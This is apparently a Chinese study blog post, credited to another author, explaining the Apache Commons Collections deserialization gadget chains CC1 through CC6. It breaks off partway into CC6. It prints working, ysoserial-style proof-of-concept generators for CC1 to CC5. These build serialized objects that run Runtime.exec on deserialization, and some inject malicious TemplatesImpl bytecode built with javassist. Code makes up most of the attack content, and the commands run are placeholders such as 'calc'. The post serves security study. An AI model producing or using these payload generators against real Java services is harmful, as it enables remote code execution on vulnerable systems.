CCchain1-7 非原创
原文 :JAVA安全-学习路线指南(持续更新) - Erosion2020 - 博客园
CC1 需要的环境:JDK1.7(7u80)、commons-collections(3.x 4.x均可这里使用3.2版本)
CC1链利用了 Apache Commons Collections 中的反序列化漏洞。攻击者通常会构造一个链式对象,其中一个对象会调用另一个对象的方法,最终通过调用一些不安全的方法来执行恶意操作
Transformer
Transformer 是 Apache Commons Collections 库中的一个核心接口,用于在 Java 中实现对象转换的功能。它通常与其他一些类一起使用,例如 ChainedTransformer、InvokerTransformer 和 ConstantTransformer,来构造复杂的反序列化攻击链
在反序列化漏洞利用中,Transformer 主要用于创建对象链,最终实现执行恶意操作的目标
Transformer 是一个简单的接口,它定义了一个通用的方法 transform(),用于将输入对象转换成输出对象
基本形式如下:
1 2 3 public interface Transformer { Object transform (Object var1) ; }
ConstantTransformer
ConstantTransformer 类实现了 Transformer 接口,其作用是将所有输入的对象转换为一个常量对象
它通常用于在对象链中生成固定的返回值:
1 2 3 4 5 6 7 8 9 10 11 public class ConstantTransformer implements Transformer { private final Object constant; public ConstantTransformer (Object constant) { this .constant = constant; } public Object transform (Object input) { return constant; } }
在反序列化漏洞的利用中,ConstantTransformer 经常被用来 将对象转换为某个固定的对象
例如,它可以将任何传入的对象转换为一个 Runtime 类的实例,方便后续链式调用 exec() 方法来执行恶意命令
InvokerTransformer
InvokerTransformer 是一个非常重要的实现类,它允许调用某个对象的方法并返回结果
它接受方法名和方法参数类型,并执行该方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public class InvokerTransformer implements Transformer { private final String methodName; private final Class[] paramTypes; private final Object[] args; public InvokerTransformer (String methodName, Class[] paramTypes, Object[] args) { this .methodName = methodName; this .paramTypes = paramTypes; this .args = args; } public Object transform (Object input) { ...... Class cls = input.getClass(); Method method = cls.getMethod(this .iMethodName, this .iParamTypes); return method.invoke(input, this .iArgs); ...... } }
在反序列化漏洞中,InvokerTransformer 允许攻击者通过构造恶意链来调用目标方法
例如,可以使用 InvokerTransformer 调用 Runtime.getRuntime().exec() 来执行恶意命令
ChainedTransformer
ChainedTransformer 是一个允许将多个 Transformer 链接起来按顺序执行的类
它接收一个 Transformer 数组,并依次将输入对象传递给每个 Transformer,直到返回最终的转换结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public class ChainedTransformer implements Transformer { private final Transformer[] transformers; public ChainedTransformer (Transformer[] transformers) { this .transformers = transformers; } public Object transform (Object object) { for (int i = 0 ; i < this .iTransformers.length; ++i) { object = this .iTransformers[i].transform(object); } return object; } }
ChainedTransformer 在反序列化漏洞利用中非常重要,因为它允许攻击者构建一条对象链,每个链环执行特定的恶意操作,最终实现目标操作
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 public class CommonsCollections1 { static String serialFileName = "commons-collections1.ser" ; public static void main (String[] args) throws Exception { cc1bySerial(); verify(); } public static void verify () throws Exception { FileInputStream fis = new FileInputStream (serialFileName); ObjectInputStream ois = new ObjectInputStream (fis); Transformer chain = (Transformer) ois.readObject(); chain.transform(1 ); } public static void cc1bySerial () throws Exception { String execArgs = "calc" ; final Transformer transformerChain = new ChainedTransformer ( new Transformer []{ new ConstantTransformer (1 ) }); final Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] { String.class, Class[].class }, new Object [] { "getRuntime" , new Class [0 ] }), new InvokerTransformer ("invoke" , new Class [] { Object.class, Object[].class }, new Object [] { null , new Object [0 ] }), new InvokerTransformer ("exec" , new Class [] { String.class }, new Object []{execArgs}), new ConstantTransformer (1 ) }; Class<?> transformer = Class.forName(ChainedTransformer.class.getName()); Field iTransformers = transformer.getDeclaredField("iTransformers" ); iTransformers.setAccessible(true ); iTransformers.set(transformerChain, transformers); FileOutputStream fos = new FileOutputStream (serialFileName); ObjectOutputStream oos = new ObjectOutputStream (fos); oos.writeObject(transformerChain); oos.flush(); oos.close(); fos.close(); } }
因为 Runtime.getRuntime() 是一个 Runtime 类下的一个静态方法,无法通过 Transformer 中的反射方法直接创建实例,所以只能写成下边这样的变种代码:
1 2 3 4 5 6 Transformer[] transformer_exec = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) };
新增类:AbstractMapDecorator
AbstractMapDecorator 是 Apache Commons Collections 中的一个类,它实现了 Map 接口,并且提供了一个装饰器模式的实现,用来装饰一个已有的 Map 实例
在反序列化漏洞中,AbstractMapDecorator 用来构建复杂的 Map 装饰器,与其他类一起使用,配合 LazyMap、ChainedTransformer 等类,构建出恶意的链
AbstractMapDecorator 是一个抽象类,它实际上并不直接操作 Map,而是通过持有一个 Map 实例,并对该实例的方法进行委托(delegation)和扩展,来实现装饰器模式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public abstract class AbstractMapDecorator <K, V> implements Map <K, V> { protected final Map<K, V> decorated; protected AbstractMapDecorator (Map<K, V> map) { this .decorated = map; } public V put (K key, V value) { return decorated.put(key, value); } public V get (Object key) { return decorated.get(key); } public Set<Map.Entry<K, V>> entrySet() { return decorated.entrySet(); } }
decorated:这是 AbstractMapDecorator 维护的实际 Map 对象。所有的方法调用都会委托给这个 decorated 的 Map 实例,AbstractMapDecorator 只是提供了一个框架
AbstractMapDecorator 有多个实现类,如:
LazyMap/LazyMapDecorator
TiedMapEntry/TiedMapEntryDecorator
MapEntry/MapEntryDecorator
新增类:LazyMap
LazyMap 是 Commons Collections 中的一个集合类,在反序列化攻击中,LazyMap 通常用来延迟触发恶意操作,而不是在创建对象时立即执行,这有助于绕过一些检查或避免直接触发攻击
懒加载 :LazyMap 在访问某个键时,不会立即返回存储的值,而是通过 Transformer 动态生成。这个过程是懒加载的,只有在访问 get() 方法时才会触发
触发攻击链 :由于 LazyMap 能够在访问键时执行 Transformer,它被广泛用于反序列化攻击中,用来在 get() 方法中触发代码执行链(如调用 Runtime.getRuntime().exec() 执行命令)
新增类:Proxy 和 InvocationHandler
Proxy 和 InvocationHandler 是 Java 动态代理的核心组件,在反序列化链中也经常用来实现一些动态行为:
Proxy :Proxy 类用于创建一个代理实例,代理对象能够调用指定的 InvocationHandler 进行实际的调用。在反序列化链中,Proxy 可能用来替代一个正常的对象,以触发代理调用的执行
InvocationHandler :每当 Proxy 对象的方法被调用时,实际的处理逻辑会交由 InvocationHandler 中的 invoke() 方法来处理。在反序列化攻击链中,InvocationHandler 可以被设置成执行危险操作,比如执行外部命令或加载恶意类
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 public static void cc1bySerial () throws Exception { String execArgs = "cmd /c start" ; final Transformer transformerChain = new ChainedTransformer ( new Transformer []{ new ConstantTransformer (1 ) }); final Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] { String.class, Class[].class }, new Object [] { "getRuntime" , new Class [0 ] }), new InvokerTransformer ("invoke" , new Class [] { Object.class, Object[].class }, new Object [] { null , new Object [0 ] }), new InvokerTransformer ("exec" , new Class [] { String.class }, new Object []{execArgs}), new ConstantTransformer (1 ) }; Class<?> transformer = Class.forName(ChainedTransformer.class.getName()); Field iTransformers = transformer.getDeclaredField("iTransformers" ); iTransformers.setAccessible(true ); iTransformers.set(transformerChain, transformers); final Map lazyMap = LazyMap.decorate(new HashMap (), transformerChain); final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ).getDeclaredConstructors()[0 ]; ctor.setAccessible(true ); InvocationHandler handler = (InvocationHandler) ctor.newInstance(Documented.class, lazyMap); Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler); InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Documented.class, mapProxy); FileOutputStream fos = new FileOutputStream (serialFileName); ObjectOutputStream oos = new ObjectOutputStream (fos); oos.writeObject(invocationHandler); oos.flush(); oos.close(); fos.close(); }
CC2 需要的环境:以 JDK8 版本为准、commons-collections4(4.0 以ysoserial给的版本为准)、javassist(3.12.1.GA)
这里只记录原始的POC和新的ClassPoolPOC
PriorityQueue TransformingComparator 是 org.apache.commons.collections4.comparators 包中的一个比较器的装饰器类,这个类重写了 compare 方法,而 compare 方法中调用了 Transformer 的 transform 方法,而CC链的最终目的都是为了调用 Transfromer 和 ConstantTransformer InvokerTransformer 这类的,所以可以配合起来触发攻击链:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 package org.apache.commons.collections4.comparators;...... public class TransformingComparator <I, O> implements Comparator <I>, Serializable { private static final long serialVersionUID = 3456940356043606220L ; private final Comparator<O> decorated; private final Transformer<? super I, ? extends O > transformer; ...... public int compare (I obj1, I obj2) { O value1 = this .transformer.transform(obj1); O value2 = this .transformer.transform(obj2); return this .decorated.compare(value1, value2); } ...... }
Java中的优先权队列的一些重要代码片段:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 public boolean add (E e) { return offer(e); } public boolean offer (E e) { ... if (i == 0 ) queue[0 ] = e; else siftUp(i, e); return true ; } private void siftUp (int k, E x) { if (comparator != null ) siftUpUsingComparator(k, x); else siftUpComparable(k, x); } private void siftUpUsingComparator (int k, E x) { while (k > 0 ) { int parent = (k - 1 ) >>> 1 ; Object e = queue[parent]; if (comparator.compare(x, (E) e) >= 0 ) break ; queue[k] = e; k = parent; } queue[k] = x; } private void heapify () { for (int i = (size >>> 1 ) - 1 ; i >= 0 ; i--) siftDown(i, (E) queue[i]); } private void siftDown (int k, E x) { if (comparator != null ) siftDownUsingComparator(k, x); else siftDownComparable(k, x); } private void siftDownUsingComparator (int k, E x) { int half = size >>> 1 ; while (k < half) { int child = (k << 1 ) + 1 ; Object c = queue[child]; int right = child + 1 ; if (right < size && comparator.compare((E) c, (E) queue[right]) > 0 ) c = queue[child = right]; if (comparator.compare(x, (E) c) <= 0 ) break ; queue[k] = c; k = child; } queue[k] = x; }
将PQ中的 compare 方法通过 TransformingComparator 来创建,就可以获得以下 POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 public static void main2 () throws Exception { Transformer[] transformer_exec = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chain = new ChainedTransformer (transformer_exec); PriorityQueue queue = new PriorityQueue (); queue.add(1 ); queue.add(2 ); Field comparator = queue.getClass().getDeclaredField("comparator" ); comparator.setAccessible(true ); TransformingComparator transformingComparator = new TransformingComparator (chain); comparator.set(queue, transformingComparator); FileOutputStream fos = new FileOutputStream (fileName); ObjectOutputStream oos = new ObjectOutputStream (fos); oos.writeObject(queue); oos.flush(); oos.close(); } public static void verify () throws Exception { FileInputStream fis = new FileInputStream (fileName); ObjectInputStream ois = new ObjectInputStream (fis); Object obj = (Object) ois.readObject(); }
其调用过程如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 private void readObject (java.io.ObjectInputStream s) ... for (int i = 0 ; i < size; i++) queue[i] = s.readObject(); heapify(); } private void heapify () { for (int i = (size >>> 1 ) - 1 ; i >= 0 ; i--) siftDown(i, (E) queue[i]); } private void siftDown (int k, E x) { if (comparator != null ) siftDownUsingComparator(k, x); else siftDownComparable(k, x); } private void siftDownUsingComparator (int k, E x) { int half = size >>> 1 ; while (k < half) { int child = (k << 1 ) + 1 ; Object c = queue[child]; int right = child + 1 ; if (right < size && comparator.compare((E) c, (E) queue[right]) > 0 ) c = queue[child = right]; if (comparator.compare(x, (E) c) <= 0 ) break ; queue[k] = c; k = child; } queue[k] = x; } public int compare (I obj1, I obj2) { O value1 = this .transformer.transform(obj1); O value2 = this .transformer.transform(obj2); return this .decorated.compare(value1, value2); }
调用链:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 PriorityQueue.readObject -> .heapify -> .siftDown -> .siftDownUsingComparator -> .compare -> TransformingComparator.compare -> ChainedTransformer.transform() -> ConstantTransformer.transform() -> InvokerTransformer.transform() ·Method.invoke() ·Class.getMethod() -> InvokerTransformer.transform() ·Method.invoke() ·Runtime.getRuntime() -> InvokerTransformer.transform() ·Method.invoke() ·Runtime.exec()
ClassPool ClassPool 是 javassist 库中的一个核心类,它提供了一个管理和操作字节码的机制
在 Java 反序列化漏洞利用中,ClassPool 主要用于动态生成、修改和加载字节码
ClassPool 在 CC2 攻击链中的作用是生成恶意的字节码(如构造恶意的 TemplatesImpl 或其他类),并通过反序列化漏洞将它们加载到内存中,最终执行恶意代码。攻击者可以利用 ClassPool 来生成一个包含恶意静态代码块的类,在类加载时自动触发恶意操作
ClassPool:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import javassist.*;public class JavassistExample { public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("com.example.MyClass" ); CtMethod ctMethod = CtNewMethod.make( "public void sayHello() { System.out.println(\"Hello from Javassist!\"); }" , ctClass); String construtorCMD = "System.out.println(\"Hello 构造方法\");" ; ctClass.makeClassInitializer().insertBefore(cmd); ctClass.addMethod(ctMethod); Class<?> clazz = ctClass.toClass(); Object instance = clazz.newInstance(); clazz.getMethod("sayHello" ).invoke(instance); } }
ysoserialPOC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 public class CommonsCollections2 { static String serialFileName = "commons-collections2.ser" ; public static void main (String[] args) throws Exception { cc2byYsoSerial(); verify(); } public static void verify () throws Exception { FileInputStream fis = new FileInputStream (serialFileName); ObjectInputStream ois = new ObjectInputStream (fis); Object ignore = (Object) ois.readObject(); } public static void cc2byYsoSerial () throws Exception { String executeCode = "Runtime.getRuntime().exec(\"calc\");" ; ClassPool pool = ClassPool.getDefault(); CtClass evil = pool.makeClass("ysoserial.Evil" ); evil.makeClassInitializer().insertAfter(executeCode); evil.setName("ysoserial.Pwner" + System.nanoTime()); CtClass superC = pool.get(AbstractTranslet.class.getName()); evil.setSuperclass(superC); final byte [] classBytes = evil.toBytecode(); byte [][] trueclassbyte = new byte [][]{classBytes}; Class<TemplatesImpl> templatesClass = TemplatesImpl.class; TemplatesImpl templates = TemplatesImpl.class.newInstance(); Field bytecodes = templatesClass.getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); bytecodes.set(templates, trueclassbyte); Field name = templatesClass.getDeclaredField("_name" ); name.setAccessible(true ); name.set(templates, "Pwnr" ); Field tfactory = templatesClass.getDeclaredField("_tfactory" ); tfactory.setAccessible(true ); tfactory.set(templates, new TransformerFactoryImpl ()); final InvokerTransformer transformer = new InvokerTransformer ("toString" , new Class [0 ], new Object [0 ]); final PriorityQueue<Object> queue = new PriorityQueue <Object>(2 ,new TransformingComparator (transformer)); queue.add(1 ); queue.add(1 ); Field iMethodName = transformer.getClass().getDeclaredField("iMethodName" ); iMethodName.setAccessible(true ); iMethodName.set(transformer, "newTransformer" ); Field queueField = queue.getClass().getDeclaredField("queue" ); queueField.setAccessible(true ); Object[] queueArray = new Object []{templates,1 }; queueField.set(queue,queueArray); FileOutputStream fos = new FileOutputStream (serialFileName); ObjectOutputStream oos = new ObjectOutputStream (fos); oos.writeObject(queue); oos.flush(); oos.close(); } }
CC3 涉及到的版本:JDK1.7(7u80)、commons-collections(3.x 4.x均可这里使用3.2版本)、javassist(3.12.1.GA)
CC3 攻击链的关键在于利用 Templates 和 ChainedTransformer 、 ConstantTransformer 、InstantiateTransformer 类来形成一系列的反射调用,最终触发恶意类的加载或执行
新涉及到的类:TrAXFilter
TrAXFilter 类是 Java 中 XML 处理相关的一个类,属于 Java XML API 的一部分。它主要用于过滤和处理 XML 数据流。TrAXFilter 实现了 javax.xml.transform.sax.SAXResult 接口,提供了对 XML 数据流的接收、处理和转换能力。因为它的构造函数涉及到了 Templates 类对象,并且其操作可以被利用来执行恶意代码
TrAXFilter 的构造函数需要传入 Templates 对象,而 Templates 可以携带恶意字节码
相关代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public class TrAXFilter extends XMLFilterImpl { private Templates _templates; private TransformerImpl _transformer; private TransformerHandlerImpl _transformerHandler; private boolean _overrideDefaultParser; public TrAXFilter (Templates templates) throws TransformerConfigurationException { _templates = templates; _transformer = (TransformerImpl) templates.newTransformer(); _transformerHandler = new TransformerHandlerImpl (_transformer); _overrideDefaultParser = _transformer.overrideDefaultParser(); } }
有了 TrAXFilter ,接下来就是看怎么实例化 TrAXFilter,除了像之前一样利用 InvokeTransformer,Commons Collections 还提供了 InstantiateTransformer 用来通过反射创建类的实例,可以看到 transform() 方法实际上接收一个 Class 类型的对象,通过 getConstructor 获取构造方法,并通过 newInstance 创建类实例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public class InstantiateTransformer implements Transformer , Serializable { private final Class[] iParamTypes; private final Object[] iArgs; public InstantiateTransformer (Class[] paramTypes, Object[] args) { this .iParamTypes = paramTypes; this .iArgs = args; } public Object transform (Object input) { ...... Constructor con = ((Class)input).getConstructor(this .iParamTypes); return con.newInstance(this .iArgs); ...... } }
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 public class CommonsCollections3 { static String serialFileName = "commons-collections3.ser" ; public static void main (String[] args) throws Exception { cc3byYsoSerial(); verify(); } public static void verify () throws Exception { FileInputStream fis = new FileInputStream (serialFileName); ObjectInputStream ois = new ObjectInputStream (fis); Object ignore = (Object) ois.readObject(); } public static void cc3byYsoSerial () throws Exception { String executeCode = "Runtime.getRuntime().exec(\"cmd /c start\");" ; ClassPool pool = ClassPool.getDefault(); CtClass evil = pool.makeClass("ysoserial.Evil" ); evil.makeClassInitializer().insertAfter(executeCode); evil.setName("ysoserial.Pwner" + System.nanoTime()); CtClass superC = pool.get(AbstractTranslet.class.getName()); evil.setSuperclass(superC); final byte [] classBytes = evil.toBytecode(); byte [][] trueclassbyte = new byte [][]{classBytes}; Class<TemplatesImpl> templatesClass = TemplatesImpl.class; TemplatesImpl templates = TemplatesImpl.class.newInstance(); Field bytecodes = templatesClass.getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); bytecodes.set(templates, trueclassbyte); Field name = templatesClass.getDeclaredField("_name" ); name.setAccessible(true ); name.set(templates, "Pwnr" ); Field tfactory = templatesClass.getDeclaredField("_tfactory" ); tfactory.setAccessible(true ); tfactory.set(templates, new TransformerFactoryImpl ()); final Transformer transformerChain = new ChainedTransformer ( new Transformer []{ new ConstantTransformer (1 ) }); final Transformer[] transformers = new Transformer [] { new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer ( new Class [] { Templates.class }, new Object [] { templates } )}; Class<?> transformer = Class.forName(ChainedTransformer.class.getName()); Field iTransformers = transformer.getDeclaredField("iTransformers" ); iTransformers.setAccessible(true ); iTransformers.set(transformerChain, transformers); final Map lazyMap = LazyMap.decorate(new HashMap (), transformerChain); final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ).getDeclaredConstructors()[0 ]; ctor.setAccessible(true ); InvocationHandler handler = (InvocationHandler) ctor.newInstance(Documented.class, lazyMap); Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler); InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Documented.class, mapProxy); FileOutputStream fos = new FileOutputStream (serialFileName); ObjectOutputStream oos = new ObjectOutputStream (fos); oos.writeObject(invocationHandler); oos.flush(); oos.close(); fos.close(); } }
调用链:
1 2 3 4 5 6 7 8 9 10 11 12 13 ObjectInputStream.readObject() -> AnnotationInvocationHandler.readObject() -> Map(Proxy).entrySet() -> AnnotationInvocationHandler.invoke() -> LazyMap.get() -> ChainedTransformer.transform() -> ConstantTransformer.transform() TrAXFilter -> InstantiateTransformer.transform() Templates -> TrAXFilter() Templates TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() ......
CC4 需要的环境:以本地的JDK8版本为准、commons-collections4(4.0 以ysoserial给的版本为准)、javassist(3.12.1.GA)
CC4 是 CC2+CC3 的一个变种,用 PriorityQueue 的 TransformingComparator 触发 ChainedTransformer,再利用 InstantiateTransformer 实例化 TemplatesImpl
主要核心还是CC2,只是最后的构造的 payload 触发从 InvokeTranformer 变成了 InstantiateTransformer ,从而使得 Templates 构造方法能够被触发最终触发恶意代码
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InstantiateTransformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ChainedTransformer;import javax.xml.transform.Templates;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.PriorityQueue;public class CommonsCollections4 { static String serialFileName = "commons-collections4.ser" ; public static void main (String[] args) throws Exception { verify(); } public static void verify () throws Exception { FileInputStream fis = new FileInputStream (serialFileName); ObjectInputStream ois = new ObjectInputStream (fis); Object ignore = (Object) ois.readObject(); } public static void cc4byYsoSerial () throws Exception { String executeCode = "Runtime.getRuntime().exec(\"cmd /c start\");" ; ClassPool pool = ClassPool.getDefault(); CtClass evil = pool.makeClass("ysoserial.Evil" ); evil.makeClassInitializer().insertAfter(executeCode); evil.setName("ysoserial.Pwner" + System.nanoTime()); CtClass superC = pool.get(AbstractTranslet.class.getName()); evil.setSuperclass(superC); final byte [] classBytes = evil.toBytecode(); byte [][] trueclassbyte = new byte [][]{classBytes}; Class<TemplatesImpl> templatesClass = TemplatesImpl.class; TemplatesImpl templates = TemplatesImpl.class.newInstance(); Field bytecodes = templatesClass.getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); bytecodes.set(templates, trueclassbyte); Field name = templatesClass.getDeclaredField("_name" ); name.setAccessible(true ); name.set(templates, "Pwnr" ); Field tfactory = templatesClass.getDeclaredField("_tfactory" ); tfactory.setAccessible(true ); tfactory.set(templates, new TransformerFactoryImpl ()); ConstantTransformer constant = new ConstantTransformer (String.class); Class[] paramTypes = new Class [] { String.class }; Object[] args = new Object [] { "foo" }; InstantiateTransformer instantiate = new InstantiateTransformer ( paramTypes, args); Field iParamTypes = instantiate.getClass().getDeclaredField("iParamTypes" ); iParamTypes.setAccessible(true ); paramTypes = (Class[])iParamTypes.get(instantiate); Field iArgs = instantiate.getClass().getDeclaredField("iArgs" ); iArgs.setAccessible(true ); args = (Object[])iArgs.get(instantiate); ChainedTransformer chain = new ChainedTransformer (new Transformer [] { constant, instantiate }); PriorityQueue<Object> queue = new PriorityQueue <Object>(2 , new TransformingComparator (chain)); queue.add(1 ); queue.add(1 ); Field iConstant = constant.getClass().getDeclaredField("iConstant" ); iConstant.setAccessible(true ); iConstant.set(constant, TrAXFilter.class); paramTypes[0 ] = Templates.class; args[0 ] = templates; FileOutputStream fos = new FileOutputStream (serialFileName); ObjectOutputStream oos = new ObjectOutputStream (fos); oos.writeObject(queue); oos.flush(); oos.close(); } }
CC5 CC5是 CC1 的一个变种,CC1在JDK1.8之后对 AnnotationInvocationHandler 进行了修复,使得攻击链不能被正常利用,在CC5中使用了 TiedMapEntry 以及 BadAttributeValueExpException 来完成攻击链的触发
新增的类:TiedMapEntry
TiedMapEntry 是 Commons Collections 中的一个类,它主要用于将一个 Map 的键值对与其他对象绑定起来,形成一个 “绑定” 关系
这个类允许 Map 条目与附加的对象(比如某些回调函数或特殊处理对象)一起存储
关键代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public class TiedMapEntry implements Map .Entry, KeyValue, Serializable { private static final long serialVersionUID = -8453869361373831205L ; private final Map map; private final Object key; public TiedMapEntry (Map map, Object key) { this .map = map; this .key = key; } ...... public Object getKey () { return this .key; } public Object getValue () { return this .map.get(this .key); } public String toString () { return this .getKey() + "=" + this .getValue(); } }
BadAttributeValueExpException
BadAttributeValueExpException 是 javax.management 包中的一个类,通常用于描述与 JMX 相关的异常。该类的构造方法接受一个 Object 类型的参数 val,代表异常的具体值,由于 val 可控,所以可以将 TiedMapEntry 赋值给该字段,间接触发代码执行
关键代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 public class BadAttributeValueExpException extends Exception { private static final long serialVersionUID = -3105272988410493376L ; private Object val; public BadAttributeValueExpException (Object val) { this .val = val == null ? null : val.toString(); } private void readObject (ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val" , null ); if (valObj == null ) { val = null ; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); } else { val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } } }
LazyMap 相关代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 public class LazyMap extends AbstractMapDecorator implements Map , Serializable { ... public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); } }
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 public class CommonsCollections5 { static String serialFileName = "commons-collections5.ser" ; public static void main (String[] args) throws Exception { cc5byYsoSerial(); verify(); } public static void verify () throws Exception { FileInputStream fis = new FileInputStream (serialFileName); ObjectInputStream ois = new ObjectInputStream (fis); Object ignore = (Object) ois.readObject(); } public static void cc5byYsoSerial () throws Exception { String execArgs = "cmd /c start" ; final Transformer transformerChain = new ChainedTransformer ( new Transformer []{ new ConstantTransformer (1 ) }); final Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] { String.class, Class[].class }, new Object [] { "getRuntime" , new Class [0 ] }), new InvokerTransformer ("invoke" , new Class [] { Object.class, Object[].class }, new Object [] { null , new Object [0 ] }), new InvokerTransformer ("exec" , new Class [] { String.class }, new Object []{execArgs}), new ConstantTransformer (1 ) }; Class<?> transformer = Class.forName(ChainedTransformer.class.getName()); Field iTransformers = transformer.getDeclaredField("iTransformers" ); iTransformers.setAccessible(true ); iTransformers.set(transformerChain, transformers); final Map lazyMap = LazyMap.decorate(new HashMap (), transformerChain); TiedMapEntry entry = new TiedMapEntry (lazyMap, "foo" ); BadAttributeValueExpException val = new BadAttributeValueExpException (null ); Field valfield = val.getClass().getDeclaredField("val" ); valfield.setAccessible(true ); valfield.set(val, entry); FileOutputStream fos = new FileOutputStream (serialFileName); ObjectOutputStream oos = new ObjectOutputStream (fos); oos.writeObject(val); oos.flush(); oos.close(); } }
调用链:
1 2 3 4 5 6 7 8 9 10 11 12 13 BadAttributeValueExpException.readObject() ↓ valObj.toString() // 当val不是基本类型时触发 ↓ TiedMapEntry.toString() ↓ TiedMapEntry.getValue() → map.get(key) ↓ LazyMap.get("aaa") // key不存在,进入分支 ↓ factory.transform("aaa") ↓ ConstantTransformer → InvokerTransformer → Runtime.exec()
CC6 环境:以 JDK8 版本为准、commons-collections(3.x 4.x均可这里使用3.2版本)
CC6 中,HashMap 和 HashSet 用于 存储恶意数据结构 ,并且通过 反序列化 触发了恶意代码的执行
新增类:HashMap
存储恶意的 TiedMapEntry :HashMap 用来存储 TiedMapEntry,并且通过 keySet() 获取 LazyMap 中的所有键
关键代码:HashMap中重写了 readObject 方法
